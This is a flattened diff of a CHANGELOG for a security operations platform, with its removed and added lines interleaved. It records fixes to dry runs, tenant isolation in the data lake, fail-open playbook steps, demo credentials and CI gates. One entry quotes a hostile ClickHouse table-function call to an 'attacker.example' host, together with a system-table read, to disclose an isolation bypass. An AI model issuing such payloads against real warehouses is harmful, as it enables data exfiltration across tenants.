caller.- Normalised once at the boundary to the canonical 0-100 integer, deciding the- scale from the *key* rather than the magnitude: a genuine confidence of 1 is- indistinguishable from a raw score of 1.0 by value alone, so the tempting- `v <= 1 ? v * 100 : v` would render the least-confident alert in the estate- as the most confident. The two mocks that encoded the old scale were- corrected with it, since sample data on a different scale than the real- payload is what hid the bug.+ A QRadar **escalation** deliberately reports `unverified`: escalating leaves+ the offense `OPEN`, which is also its prior state, so confirming "still+ OPEN" would certify a write that never happened — the same shape as the+ isolation probe that returned `bool(device_id)` and would have certified an+ uncontained host. Elastic, Sentinel and Defender expose no read of a+ finding's state and report `unverified` too. `ack_alert` and+ `suppress_alert` are verified against the same read-back.- The rationale rows hardcoded a `+` prefix on a signed contribution, so a- factor that argued *against* the verdict read `+-0.30`; they now carry one- sign, matching the glyphs the narrative builder uses. Those rows also- clamped `contribution / weight` into [0, 1], which rendered every negative- factor at zero width — an invisible bar beside a nonsense label. Width now- follows the magnitude and colour follows the sign.+- **A dry run called the customer's production SIEM.** The live-action dry-run+ path works by stripping credentials so the executor falls through to+ simulation, and the strip list did not match what the client factory reads:+ the Splunk adapters stripped `splunk_host` / `splunk_token` / `splunk_index`+ while `_splunk_client` reads `splunk_url` *first* and also accepts basic+ auth. `splunk_url` is exactly what the credential resolver writes for a+ connector-configured tenant, so a "preview" built a real client and called+ Splunk. Elastic had the identical mismatch (`elastic_host` stripped,+ `elastic_url` read). The strip lists are now the factories' own exported key+ tuples, and a test re-derives each read set from the factory source so the+ two cannot drift again.-- **The Investigation Rail's Details tab showed analysts the markup.**- `build_narrative` documents its output as markdown-light — `**bold**`,- backtick code spans, `- ` bullets, blank-line paragraphs — and the rail put- the string in a `whitespace-pre-wrap` paragraph, which preserves the- newlines and the asterisks alike. The panel read `**Medium** alert: … on- **Finance & Legal #2**`.+- **An `alert_vendor` pin was honoured without checking that vendor's+ credentials existed.** `_ack_vendor` returned the pinned vendor+ unconditionally. A dry run strips credentials, so the pin survived the strip,+ resolved to "splunk" with no client, and hit an `assert` — crashing an action+ that was meant to be a harmless preview. A pin naming a vendor the tenant had+ never configured reported a vendor arm that could not run. A pin is now+ checked against the credentials, and an unusable pin resolves to *nothing*+ rather than falling through to whichever other SIEM happens to be configured:+ "write this to Splunk" must not become "write this to Elastic".- `components/alerts/NarrativeMarkdown.tsx` renders exactly that dialect and- nothing more; an unrecognised construct falls through as literal text rather- than being dropped. It builds React elements, never markup: the narrative- embeds the alert title and entity names, which originate in connector- payloads, so an HTML path here would make anyone who can name a host an XSS- author. It introduces no heading, leaving the page's heading order intact.+- **`CreateNotableEventExecutor` raised `TypeError` on every live call.** It+ passed `title=` / `description=` / `fields=` to a client whose signature is+ `(rule_name, event_data, severity, owner, status)`. Invisible because+ simulation mode never constructs the client — the same defect class as the+ `max_results` / `max_count` drift fixed earlier on this module. Every SIEM+ executor-to-client call is now pinned by an autospec'd signature test, which+ a hand-written fake with `**kwargs` could never have caught.-- **The connector fleet badge claimed every source was reporting when none- was.** `ConnectorFleetPanel` rendered the badge whenever the endpoint- answered, and with zero connectors `failed + degraded` is zero — so a green- "All sources reporting" sat directly above the panel's own "No connectors- configured". Zero sources reporting is not the same statement as all of- them reporting, and the green is the part an operator scans for. There is- now no badge until there is a fleet, and when there is one it names the- count it is vouching for.+- **Every live Okta password reset raised `TypeError` and came back FAILED.**+ `ResetPasswordExecutor` documents `parameters.send_email` as "used only for+ the Okta path", reads it, and passed `send_email=` to+ `OktaClient.reset_password(self, login_or_id)` — which did not accept it. The+ executor's `except Exception` turned the `TypeError` into a FAILED+ `ActionResult`, so the verb did not crash; it simply could never succeed+ against Okta, and the failure read as an Okta problem. Simulation mode never+ constructs a vendor client, which is why no test saw it: the one that covers+ this executor stubs the client as `async def reset_password(self, *_args,+ **_kw)`, and a fake that accepts anything proves the dispatch order and+ nothing about the call. The client now takes `send_email` and maps it to+ Okta's `sendEmail` parameter, and `test_identity_client_signatures.py`+ autospecs all three IdP clients across every executor arm — the companion to+ `test_siem_client_signatures.py`, for the third instance of the same defect.-- **`apps/web/src/components/landing/MitreStrip.tsx` is deleted.** Its twelve- ATT&CK tactic tiles carried unsourced coverage counts — 27 of 42 for Defense- Evasion, 9 of 11 for Initial Access — that correspond to nothing in the- tree. The component was imported nowhere and rendered on no route: the- landing page composes fifteen sections and this was not one of them, so the- caveat in its body copy was the only thing between those numbers and a- reader, and it would have stopped being so the moment somebody mounted the- section. Improving the disclaimer would have left the numbers in place for- the next person to inherit. Its entry in `ALLOWED_ILLUSTRATIVE` goes with- it; `scripts/check_mock_data_gated.py` checks that allow-list in both- directions, so a stale exemption fails the build rather than accumulating as- cover. The one MITRE figure the project does publish — 97.0% in- `BenchmarkBand` — is labelled "substrate" and is unchanged.+- **The lake's tenant isolation could be switched off by resolving a+ dependency one major version higher.** `lake_sql.rewrite_for_tenant` is the+ only thing separating one tenant's events from another's in ClickHouse: it+ parses untrusted operator SQL with sqlglot, enforces the table allowlist+ against the parse tree, bans ClickHouse table functions, and injects the+ `tenant_id` predicate. sqlglot 27 moved the SELECT's FROM clause from+ `args["from"]` to `args["from_"]`. The table walk read the old key, got+ nothing, and took the branch written for `SELECT 1` — "no FROM, so no tenant+ data, nothing to do". Every single-table query then came back with no+ allowlist check, no table-function ban and no tenant predicate, reported as+ a successful rewrite.-- **A playbook step the engine could not run reported success.** Twelve of- the twenty-two `StepType` members had no entry in the engine's handler- table. The run loop answered those with `{"skipped": true}` and left the- step's status at its `SUCCESS` default, so a playbook containing them ran- to `COMPLETED` having done nothing it said it did. `approval` is the one- that mattered: it is a human decision point, it appears in 14 steps across- the shipped packs, and it passed on its own — the run continued straight- into the action an analyst was meant to authorise. An unimplemented step- type now fails closed with `unimplemented: true` and an error naming the- verb, is not retried (a missing handler will still be missing next- attempt), and halts the run under the default `on_failure: abort` while- still honouring an explicit `continue`. A dry run reports `would_fail` for- such a step instead of a bare `dry_run: true`.+ `services/api/pyproject.toml` declared `sqlglot >=23.0.0,<31.0.0` while the+ Dockerfile and every CI workflow declared `>=23,<27`, so this was reachable+ by installing the service exactly as declared, and CI could not see it+ because CI installed the narrow range. Verified on sqlglot 30.19.0 against+ the pre-fix rewriter: `SELECT user_name FROM aisoc.raw_events` returned+ unscoped, `SELECT * FROM system.tables` was accepted, and+ `url('https://attacker.example/x', JSONEachRow)` was accepted — the last of+ which makes the warehouse issue outbound HTTP with its own network identity.- `apps/docs/docs/concepts/playbooks.md` had documented the safe behaviour- all along — "recorded as `SKIPPED` … so unknown actions never silently- succeed" — and has been corrected to describe what the code now does. The- same page described a manual approval gate backed by- `POST /v1/playbook-runs/{id}/approve`, where "the engine pauses on the- condition until the field flips, then resumes". No such endpoint exists and- the engine has no pause or resume; that section now says so and points at- the actions service, which does hold an action for an analyst.+ Three changes rather than one, because pinning alone would leave the trap+ armed for the next bump. The FROM clause now resolves by node type instead+ of by key name. `rewrite_for_tenant` ends with an audit that takes its own+ independent census of the statement's tables and raises the new+ `LakeSqlIsolationError` unless every one of them was scoped, the tenant+ survived into the rendered string, and every rendered SELECT that reads a+ lake table carries the tenant in its own WHERE — so a partially scoped+ UNION fails too. And all seven install paths now declare one identical+ range, enforced by `scripts/check_sqlglot_pin.py`, with+ `.github/workflows/lake-isolation.yml` running the rewriter suites against+ both the shipped range and the next major so a future bump fails loudly+ instead of quietly downgrading isolation.-- **The playbook lint job validated two files and reported "2/2 passed".**- `scripts/lint_playbooks.py` claimed in its own docstring to check "any- `*.playbook.json` files anywhere in the repo" and only ever scanned the two- under `services/agents/data/playbooks/`. Pointed at the whole tree, 32 of- the 62 playbooks in `playbooks/packs/v1/` did not match the published- schema. It now scans recursively, treats finding no files as a broken scan- rather than a clean bill of health, and no longer crashes in its own error- path when a file passed on argv sits outside the repo.+- **Scheduled hunts ran against credentials that could not exist, so every one+ of them returned zero hits.** The event-warehouse drivers resolved their+ endpoint and secret from `settings.ES_URL` / `ES_API_KEY` / `SPLUNK_URL` /+ `SPLUNK_HMAC_TOKEN` / `CHRONICLE_PROJECT_ID`. None of those were declared+ fields on `Settings`; each was read through `getattr(settings, name, None)`,+ so the miss was silent, and `Settings` sets `extra="ignore"`, so an operator+ who followed the resulting "set them in environment variables" message and+ exported `ES_URL` got the same message back. The scheduler treats the+ resulting `HuntNotConfigured` as a soft skip, so the failure was invisible.-- **20 shipped playbooks carried a duplicated tag.**- `scripts/generate_playbooks.py` emitted `[category, *tags]` where several- categories already lead their tag list with the category name, producing- e.g. `["supply-chain", "supply-chain", "npm", …]`. Fixed in the generator,- which is what the reproducibility gate diffs, rather than in the 20- generated files.+ Credentials now resolve from the tenant's own `connectors` row — the one the+ console wizard writes, encrypted by the credential vault — which is where+ `federated.py` and `case_fanout.py` already read theirs. The warehouse is+ per-tenant by construction as a result: a managed provider can point each+ customer at their own cluster, which resolving from process settings made+ impossible even in principle. `ES_URL` / `ES_API_KEY` are now declared+ fields and remain as a deployment-wide fallback for single-cluster installs.-- **The NL drafter rewrote steps to make its own output pass lint.** Because- the schema declared 9 of 22 step types, `_collapse_step_types_for_schema`- mapped the other 13 onto a "nearest neighbour" — `run_av_scan` and- `revoke_session` both became `investigate`, `approval` became `condition` —- keeping the original in `params.original_type`. The playbook that shipped- said it would investigate when the author had asked to disable an account,- and an approval gate came out as an ungated branch. The projection and its- second validation pass are removed; the schema covers the full range, so a- validation failure is now a real failure. The drafter's system prompt also- restated the vocabulary by hand and had drifted from it — offering- `webhook` as a trigger, which no validator in the repo accepts, and capping- `retry_max` at 5 against a model allowing 25 — and is now generated from- `StepType` and `bounds.py`.+- **Provider selection ignored which SIEM the tenant had connected.**+ `resolve_provider` returned the first driver whose `translated_query_key`+ appeared in the hunt, and the natural-language translator emits ES|QL, SPL+ *and* KQL for every question — so `esql` was always present and+ Elasticsearch was always chosen, including for tenants who run only Splunk.+ Selection is now driven by the tenant's enabled connectors first and the+ available translation second.-- **A new user who followed only the README could not log in.** `make up`- worked, `make smoke` passed 8/8, and then authentication was impossible for- three independent reasons at once. The only account was `[email protected]`,- and `LoginRequest.email` is a pydantic `EmailStr`, which rejects RFC 6761- special-use domains — so the address returned `HTTP 422 "value is not a- valid email address: The part after the @-sign is a special-use or reserved- name"` *before the password was ever compared*. The bcrypt hash migration- 001 seeded matched neither the `changeme` that four documentation pages- published nor the `admin` its own inline comment claimed; checked with this- service's `verify_password`, every candidate returned `False`, so it- corresponded to no known secret. And nothing existed to create a user with.- `make demo` repaired it incidentally by writing a valid address, which left- the demo path working and the path for running AiSOC on your own data- broken.+- **`POST /nl-query/execute` documented two request fields it ignored.**+ `es_url` and `es_api_key` were described as overrides and silently dropped.+ `es_url` now selects among the caller's own Elasticsearch connectors by+ host, matched against connectors they own and never used as an outbound+ target; `es_api_key` is refused with 400, because credentials belong in the+ vault-encrypted connector rather than in a request body.- The first administrator is now created by the deployment rather than- committed to the repository. `services/api/app/scripts/bootstrap_admin.py`- creates `[email protected]`, generates a password, and prints it once —- it is stored nowhere. `make up` calls it, so the documented quick start ends- with a credential on screen; `make bootstrap` runs it on its own and- `make bootstrap ARGS=--reset-password` mints a new one. It is idempotent: a- second run reports the existing account and changes nothing, which is what- makes it safe for `make up` to call unconditionally. The address is- validated with the same library the login route uses, so an address that- cannot sign in is refused here with an explanation instead of becoming an- account that fails at a login form with a schema error.+- **`wet-eval.yml` reported success on eight consecutive weekly runs while+ evaluating nothing.** The preflight step exited 0, every subsequent step was+ `if: should_run == 'True'` and skipped, the notice step succeeded, and the+ job went green. A green check that means "I did not run" is worse than a red+ one: it is the only signal a reader gets and it says the opposite of the+ truth. Preflight is now its own job and the run is gated on+ `needs.preflight.outputs.should_run`, so with no funded key the benchmark+ job reports as **skipped** — visibly distinct from success in the checks+ list — and the preflight writes to the run summary that the published+ numbers were not refreshed. Failing outright was the alternative and is+ wrong here: a fork cannot configure the secret, and a weekly red cross+ nobody can clear trains people to ignore the page. Staleness of the+ published numbers is separately gated and does fail closed+ (`scripts/check_scoreboard.py`, 45 days).- Migration 001 no longer seeds a user at all, and `059` deactivates the- orphaned row on databases that already ran it. A gate- (`tests/test_first_run_gate.py`) now asserts that no migration ships a- password hash and that every login example in the documentation uses an- address the API accepts — the four pages were each self-consistent with the- broken seed, which is why reading them found nothing.- `golden-pipeline.yml` runs `make bootstrap` against the live stack and- authenticates with the credential it printed, so the quick start's last step- is covered by the same job that covers its first.+- **The claim-gate figures gate checked every restatement of the tally except+ the document making the claim.** `readme_gates.py` compared the README and+ `evidence-pack.md` against the matrix rows and never compared the matrix's+ own Summary block, so `docs/audit/CLAIM_TO_GATE_MATRIX.md` summarised+ "GATED: 108" against 109 counted rows and every check in the repository+ passed. The file even carries a counting note about this exact class of+ error; it recurred because the gate written afterwards pointed outward only.+ The matrix is now the first source checked, the bullet-list form its summary+ uses is matched (the previous pattern needed both figures on one line and+ silently matched nothing there), and three cases in+ `tests/test_readme_figures_gate.py` pin it. The stale count is corrected and+ the tally is **122 rows — 113 GATED, 9 PARTIAL, 0 NO GATE**, recomputed with+ the script rather than typed.-- **The published `aisoc-web:latest` image shipped demo mode baked on**, and- it is the image `docker-compose.yml` pulls for `make up`. Next inlines- `NEXT_PUBLIC_*` at build time, so there was no runtime escape: a- self-hoster's console announced "Demo data resets daily at 00:00 UTC. All- write actions are disabled." over their own real alerts, disabled every- write control, and offered a "Self-host AiSOC" link inside an already- self-hosted install. The only remedy was to rebuild the image.+- **The OpenAPI gate's documented escape hatch did not exist.** The workflow+ header told a maintainer to "re-run with `--allow-breaking`" and+ `scripts/openapi_diff.py` claimed the flag was what "the release flow uses" —+ but the workflow triggered on `pull_request` only, with no dispatch, no input+ and no label check, and the diff step never passed the flag. `--allow-breaking`+ had **no caller anywhere in the tree**. A maintainer facing a correct,+ deliberate break had no action that worked, and the two statements describing+ the procedure were both false.- The demo is now its own build under its own tag. `latest`, `main` and- `vX.Y.Z` are the product with demo mode off; `demo` and `vX.Y.Z-demo` carry- the demo bundle, and `infra/compose/docker-compose.demo.yml` pulls those.- Nothing has to choose between a working demo and a usable self-host image.+ The hatch is now a PR label, `breaking-change-approved`, chosen over a+ `workflow_dispatch` boolean because applying a label leaves an attributable+ record of who authorised the break and when on the PR timeline. The job reads+ that timeline and names the approver in its output. It re-runs on `labeled`+ and `unlabeled`, so the label is a live control rather than one that waits for+ the next push.- Demo credentials are also no longer compiled into a non-demo bundle at all.- `apps/web/Dockerfile` defaulted the autologin address and password to real- values, and `login/page.tsx` and `DemoAutoLogin.tsx` each declared them as- module-level literals — gating the *render* on `isDemoMode()` hid the panel- but left the strings in every chunk the project ships. All three now read- them from the build environment, and only the demo build supplies them.+ Approval is not a skip, and the flag is no longer usable as a silent bypass:+ `--allow-breaking` now *requires* `--changelog` and `--changelog-base`, so it+ cannot be wired up without also wiring up the thing that records what was+ approved. The detector still runs, and the job summary lists every breaking+ change being permitted next to the CHANGELOG note that justified it. The+ approval is refused if there is no `### BREAKING` section under+ `## [Unreleased]`, or if that section is byte-identical to the base branch's —+ checked in both directions, because "a BREAKING section exists" alone would+ let the first note in a release cycle excuse every later break in that cycle.-- **`make up` printed an API docs URL that 404s.** The README was corrected on- its own; the tooling was not, so `make up`, `install.sh`, `install.ps1`,- `scripts/lab.sh` and three documentation pages went on telling every new- user to open `http://localhost:8000/docs` while the app mounts `/api/docs`.- `test_readme_api_docs_url.py` now walks the tool output as well as the- README.+ The version-bump half of the old promise was dropped rather than implemented:+ this repository accumulates under `[Unreleased]` and bumps `VERSION` at+ release-cut, so a per-PR version check would demand something no PR can+ correctly do. The comment now says what the control does.-- **The README never told anyone to create `.env`.** `make doctor` correctly- reported it missing and printed the fix; the quick start it was meant to- support skipped the step. It is now the second line of the quick start.+ Thirteen new tests, all of which fail against the pre-change tree. Four are+ wiring assertions over the workflow YAML itself — that some step passes+ `--allow-breaking`, that the step passing it is guarded by the label and+ presents its evidence, that the unapproved path still blocks, and that+ `labeled` is in the trigger types. A unit-tested function with no caller is+ indistinguishable from a working feature until something asserts the call.-- **`make doctor` reported a port held by a foreign process as held by us.**- The check was `docker compose ps -q <service>`, which lists containers in- any state — so a Postgres that exited *because* the port was taken still- counted, and the doctor printed "port 5432 in use by aisoc postgres" while- an unrelated process had it. The two remedies are opposites. It now asks- which host port our own container actually publishes, names the container or- process that holds the port otherwise, and reports a service already- remapped to a different port as fine rather than as a conflict.+- **`screencast.yml` could never get past its third step.** Its+ `cache-dependency-path` named `apps/web/pnpm-lock.yaml`, which does not+ exist — this is a pnpm workspace with one lockfile at the root — and+ `setup-node` hard-fails when the cache path matches nothing. Every other+ workflow in the repo already pointed at the root lockfile; being+ `workflow_dispatch`-only meant no scheduled run ever exercised it.-- **`make up` hit port conflicts with no explanation.** `docker compose up`- reports `port is already allocated` against whichever container lost the- race, after a minute of unrelated output and without naming what holds it.- `make up` now runs the port check first (`doctor.sh --ports-only`) and stops- before starting anything.+- **Four more known-red CI entries, and the reason each could sit on `main`.**+ None was anyone's recent breakage; all four reproduced on a pristine+ checkout. What they had in common is more useful than what broke: in every+ case the thing that should have objected either did not run, was not+ required, or could not fail.-- **The compose security note recommended a remedy that does nothing.** Both- compose files told operators to change a host binding with a- `docker-compose.override.yml`. Compose *appends* sequences when it merges,- so an override without `!override` publishes the new binding alongside the- old one and leaves the conflict in place. Both notes now show the tag, and- `ports: !reset []` for removing a publishing entirely.+ - **`Backup → destroy → restore` had lost its object store for the second+ time.** `minio/minio` was withdrawn from Docker Hub (the repository 404s),+ the job was moved to the quay.io mirror pinned by digest, and quay.io now+ answers **401 UNAUTHORIZED for every tag and for that digest** — the whole+ repository, not one tag. A third MinIO coordinate would be the same bet a+ third time, so the fixture is now Versity's Apache-2.0 S3 gateway+ (`ghcr.io/versity/versitygw`, pinned to the v1.8.0 multi-arch index+ digest). It is a real S3 server rather than a mock, so `backup.sh` and+ `restore.sh` still drive `aws s3 cp/ls/rm` and `s3api head-object` for+ real; and it is on GHCR, which this workflow's own images already use and+ which cannot be withdrawn independently of the CI it runs on. The job also+ gained a readiness probe: `docker run -d` succeeding only means the+ container was created, and the previous shape would have spent the bucket+ loop's retries before failing with a connection error that said nothing+ about why.+ - **`docker compose up — full stack` failed building `services/realtime`,+ and not for the reason it looked like.** The lock and the manifest do+ agree (`npm install --package-lock-only` is a no-op against the committed+ lock), the Dockerfile does copy `package-lock.json` into both stages, and+ Node 22 is consistent across the Dockerfile, CI and `@types/node`. The+ failure was `esbuild`: a transitive of `tsx` that the image never runs,+ whose install script hardlinks the platform binary into place and then+ immediately execs it to read its version, with no retry — under BuildKit+ that exec loses a race with the writer still holding the inode and fails+ `ETXTBSY`. The builder stage now installs with `--ignore-scripts`, which+ it can do because the only thing it needs from devDependencies is `tsc`.+ The emitted `dist/` is byte-identical. The runtime stage deliberately+ keeps its install scripts: what it installs is what ships.+ - **`test_business_context_hotpath.py` reached a real database.**+ `FusedAlertTriageWorker.triage()` opens asyncpg connections through+ `business_context._load_tenant_rules` and `ledger.persist_auto_triage`, so+ with an inherited `DATABASE_URL` two tests failed with `InterfaceError:+ cannot perform operation: another operation is in progress` — pytest-asyncio+ gives each test its own event loop, and the module-level pool one test+ opens is unusable by the next. The agents unit suite now declares that it+ runs with no database, in `tests/conftest.py`, and **enforces it**: the+ inherited DSN is removed and a real asyncpg connection raises. The guard+ is a `BaseException` on purpose — every call site it covers is wrapped in+ a fail-soft `except Exception`, which is correct in production and is+ exactly why the bug was invisible, so an `Exception` here would be+ swallowed by the handlers it exists to police. Two tests that drive the+ real client against a DSN they set themselves are marked+ `touches_database`. Replaces two earlier workarounds that did not work:+ `os.environ.setdefault("DATABASE_URL", "")` is a no-op precisely when the+ variable is set.+ - **`test_a_missing_handler_is_not_retried` asserted nothing that could+ fail.** It named `RUN_AV_SCAN` as its missing handler; that stopped being+ true when the response verbs were wired into `_HANDLERS` via+ `RESPONSE_STEP_TYPES`, so the step took the *retry* branch and was+ attempted four times over fourteen seconds — the behaviour the test's own+ docstring forbids — while reporting green. Its one behavioural assertion,+ `_elapsed_ms == 0`, could not notice: `t0` resets at the top of every+ attempt, so the field is the duration of the final attempt alone, and it+ reads 0 both when the engine skips the retry loop (which writes a literal+ `0`) and when a handler fails in under half a millisecond. The test now+ takes its step type from the registry instead of naming one, so it cannot+ silently rot the same way again, and asserts the property directly by+ recording backoff sleeps. The file went from 14.13s to 0.16s. The+ `patch_handlers` fixture now saves originals with `setdefault`, so a+ second install of one key cannot write a test double permanently into the+ process-wide handler registry.-- **The agent recommended evidence acquisition the platform could not- perform.** `capture_forensics` was an `ActionType` with no executor- anywhere, and `services/agents/app/agents/investigation_agent.py` proposes- it by name whenever an investigation reaches the C2 or exfiltration stage,- with `requires_approval=True`. So on the most serious class of incident the- product raised an approval for forensic acquisition and failed with `No- executor found for action type` when an analyst approved it — a control- reachable from a recommendation and dead on approval.+ Why `main` carried them: `backup-restore` and `docker compose up — full+ stack` fail hard but are **not** among the nine required checks, and compose+ smoke is pull-by-default — it only builds a service when that service's+ build context changed, so it is usually green without building the thing+ that was broken. `test_business_context_hotpath.py` runs inside `Python —+ Tests`, which **is** required, and passed only because GitHub's runners have+ nothing on 5432 and the agents step sets no `DATABASE_URL` — green by+ property of the runner, not of the code. `test_playbook_engine_correctness.py`+ was named by no workflow at all; it is one of **62 of the 82** test files+ under `services/agents/tests` in that position. The playbook and per-tenant+ business-context files are added to the agents test list (gated agents tests+ 529, up from 303); the remaining gap is real and is not closed here.- It now has a Microsoft Defender arm that collects an investigation package,- declared LOW impact and **analyst-gated**. Analyst rather than automatic for- the reason that separated `suppress_alert` from `update_alert_disposition`- at an identical impact tier: the question is what bounds the verb. The- writeback is bounded by a disposition mapping that refuses to close a- confirmed true positive; this verb has no bound at all — it collects- whatever the vendor package contains from whichever host it is pointed at,- and the result is a copy of somebody's endpoint in a vendor cloud behind a- download URI. Pointed at the wrong host that is a data-handling event nobody- can take back.+- **Four tests failed on a clean checkout and belonged to nobody.** A suite+ with known-failing tests teaches everyone to skim past red, so each is now+ either fixed or skipped with a reason that says what to do about it.- Only Defender, deliberately. MDE's investigation package is a whole-host- artefact bundle whose completion state and download URI are both readable.- CrowdStrike RTR's `get` retrieves one *named file*, which is a different- verb with a different blast radius; wiring it here would make one capability- mean two things depending on the tenant's vendor. Without MDE credentials- the executor simulates and says which credentials would enable it, rather- than reporting an acquisition that did not happen.+ - `test_hunt_scheduler_cron.py::TestNextFireAt::test_basic_hourly` asserted+ croniter's answer (the top of the next hour) from a class that, unlike its+ neighbour, carried no `_CRONITER_AVAILABLE` guard — so without the+ dependency it failed rather than skipped. Not environmental: the fallback+ is an interval stepper with defined behaviour that nothing was checking.+ It now asserts the right answer on each path, so both are tested.+ - `test_router_report.py::test_findings_with_html_tags_are_escaped` required+ the literal `<script>`, which only the `markdown` branch produces —+ the `<pre>` fallback escapes the already-escaped body again and emits+ `&lt;script&gt;`. That is more escaped, not less, so a correct+ branch was reporting a security failure. It now asserts the property that+ matters (nothing reaches the document as an executable tag, and the+ payload is still present rather than dropped) on either branch.+ - `test_router_report.py::test_html_wraps_markdown_with_document_chrome`+ genuinely needs `markdown` — a declared dependency of the service — and+ now skips with that stated, while CI installs it and runs the file, which+ it had never done.+ - `test_graph_freshness.py::test_graph_writer_does_not_block_fusion_on_failure`+ treated "something answered on port 8080" as "the ingest service+ answered". Its only escape hatch was a connection error, so an unrelated+ local service returning 401 became a failure reading "fusion should never+ block on graph". It now checks `GET /health` reports `service: ingest`+ before asserting anything, and the skip names what did answer.- The probe is real and reads the package back. Acquisition is asynchronous,- so the vendor's response is emphatically not the confirmation — it says a- machine action was queued. `Succeeded` **and** a retrievable download URI is- VERIFIED; `Failed` / `TimeOut` / `Cancelled` is FAILED, which is the alarm- worth having; `Pending` / `InProgress` is UNVERIFIED, because not finished- is not the same fact as not happening. Reading the status alone would- certify a collection that finished with nothing to download.+- **The same commit did not build the same way twice, and one of the ways it+ could build did not start.** `One real event through the real pipeline`+ failed and then passed on re-run with no code change. The API container had+ died at import with `AssertionError: Status code 204 must not have a+ response body` from `app/api/v1/endpoints/community.py:183` — a file+ byte-identical to `main`, on a branch that touched nothing under+ `services/api`.-- **A delivered ChatOps prompt nobody had answered would have reported as a- completed action.** `ChatOpsVerifyExecutor` worked, sat in- `EXECUTOR_REGISTRY`, and no live-action adapter reached it, so the only- route to it was the legacy `ActionType` endpoint — which has no capability- contract, no approval matrix and no autonomy policy in front of it. Leaving- it unreachable was the right call at the time: it returns- `ActionStatus.RUNNING` to mean "the prompt went out, nobody has answered",- and `_to_live_status` folded everything that was not `FAILED` or a- simulation into `SUCCEEDED`.+ Measured, from the failed run's own log: `poetry install` hit a transient+ error, the Dockerfile's pip fallback took over, and it pinned+ `fastapi>=0.111,<0.112` and installed 0.111.1. In the same build `fusion`'s+ poetry install succeeded and took 0.141.1. One commit, two resolvers, two+ answers.- The fix is the missing state rather than the exemption.- `LiveActionStatus.AWAITING_COMPLETION` means the vendor was touched and the- outcome is not yet known — the opposite of `PENDING_APPROVAL`, which means- nothing ran because policy wants a human first. Post-action verification- does not run against it, since there is no effect to read back yet. The same- state is what evidence acquisition needed, so one addition covers both- executors that had no honest result to return.+ `community.py` has `from __future__ import annotations`, so its `-> None`+ return annotation reaches FastAPI as the string `"None"`. FastAPI resolves+ it through `ForwardRef` to `NoneType` — truthy — rather than the falsy+ `None` singleton it gets without PEP 563, concludes the route returns a+ body, and asserts that a 204 does not. **Every release from 0.111.0 through+ 0.116.2 raises; 0.117.0 and later do not.** The declared range was+ `>=0.111,<0.142`, so 29 of the 120 releases it permitted could not import+ the service at all, and the fallback pinned squarely inside that band. The+ earlier triage read the shape as innocent because it was checked without+ PEP 563 active, which is the one condition that makes it fail.- Registered against Slack and Teams, LOW impact and analyst-gated. Not- automatic like `notify` at the same impact, because `notify` addresses a SOC- channel and this addresses the account under investigation: sent- automatically on a true positive it tells an attacker they have been- detected, and the verb cannot know whether the person it is asking is the- suspect. Its dry run simulates in the adapter rather than stripping- credentials — the base adapter's strip-and-fall-through would turn a preview- into a failure for an executor that has no simulation branch by design.+ The fix is determinism rather than a widened assertion:-- **Nothing compared what the agent recommends against what the platform can- execute.** `scripts/check_action_contract.py` compared four registries- inside the actions service and could not see a fifth: the verbs- `services/agents` puts in front of an analyst. It now parses every- `ProposedAction(action_type=...)` call site — including the conditional form- `attack_path_agent` uses — and fails when a proposed verb has no executor,- naming the file and line. Run against the tree before this change it reports- `capture_forensics` at `investigation_agent.py:157`.+ - **All thirteen Python services install from a committed `poetry.lock`.**+ Three had one; ten now do. Two `--no-cache` builds of one commit produce+ an identical `pip freeze` (129 packages, same SHA-256), and a new+ `Reproducible builds / twice` job asserts it on every change.+ - **The pip fallbacks are gone** from all eight Dockerfiles that had one.+ Each carried its own copy of the dependency list under a comment asking+ for lockstep, and each had drifted. A build that fails is recoverable; an+ image that boots on versions nothing tested is not.+ - **Four services that hand-listed their dependencies in the Dockerfile**+ (`honeytokens`, `purple-team`, `ueba`, `mesh`) now install from a lock+ too. All four had drifted from the manifest they mirrored — `mesh` shipped+ `cryptography<50` against a manifest reading `<51`.+ - **The FastAPI floor is 0.117** in all thirteen manifests and every+ workflow. `services/api/tests/test_fastapi_floor.py` pins the boundary and+ fails on 0.116.2 with the original error; a matrix leg imports the service+ at both ends of the declared range.- Both exemption lists in that gate are now empty, and- `test_capability_reachability.py` asserts that emptiness directly, so a verb- can only be exempted by editing a reviewable assertion rather than appending- to a list.+- **`Event spine (real containers)` had a genuine race, not a flaky+ environment.** The graph-writer assertion was+ `docker compose logs … 2>/dev/null | grep -q "<early string>"` inside a step+ running under `set -euo pipefail`. `grep -q` exits the instant it matches —+ and that string is line 4 of the service's output — which closes the pipe+ while Compose is still writing; Compose exits 255 on the broken pipe and+ `pipefail` promotes that over grep's 0. The pipeline reported failure over a+ line that was present, which the failing run proves: the log dump its own+ error handler printed 115 ms later contains the exact string.-- **A self-hosted install handed its own users links into the maintainers'- deployment.** Beyond the CORS and demo-credential entries above, ten shipped- defaults resolved to the hosted host when left unconfigured, so an operator- who never set an override sent their users somewhere else:+ Reproduced deterministically rather than inferred — with a large log the+ pipeline returns 255 every time, with a small one that fits the pipe buffer+ it returns 0 every time, and the match is in both. That size dependence is+ why it read as a flake. `2>/dev/null` made it worse by discarding the only+ message that distinguished "Compose failed" from "the line is absent", so+ the run reported the wrong cause. Fixed by capturing the logs once and+ grepping the capture, and by checking Compose's own exit status separately —+ not by a retry or a longer sleep, which would have converted a real race+ into a slower real race. `scripts/doctor.sh` has the same shape twice and is+ unaffected: it does not set `pipefail`.- - `getPublicSiteUrl()` (`apps/web/src/lib/site.ts`) fell back to the hosted- origin, which is the `metadataBase` for the whole app — every canonical- tag, Open Graph URL, JSON-LD block and sitemap entry on a self-hosted- console pointed at another deployment. Now `http://localhost:3000`. The- hosted brand was also carried in `DISCOVERY_KEYWORDS`, the root layout's- OG/Twitter descriptions, its `sameAs`, and the PWA manifest description.- - Published investigation replays built share links from a module constant- `https://tryaisoc.com/r`, and tenant invite links had **two** independent- hard-coded defaults — one on the endpoint, one on the provisioner — free to- drift apart, which is the part that makes this hard to notice. Both now- resolve through a single `console_base_url()` reading- `CONSOLE_PUBLIC_BASE_URL`, with a documented deployment-neutral fallback.- - Approval email defaulted to a `From:` on the hosted domain, which fails- SPF/DKIM for anyone else. It now prefers the operator's own- `MAILGUN_DOMAIN`.- - `plugins/aisoc-direct/plugin.yaml` pre-filled the hosted osquery endpoint- as the field default; `services/osquery-tls` declared a hosted- `public_hostname` (and had no reader at all — the comment claimed a use it- did not have).- - The simulation-mode call to action pointed operators at docs on the hosted- domain rather than the project's own documentation site.- - The GitHub Action's PR comment hotlinked a badge 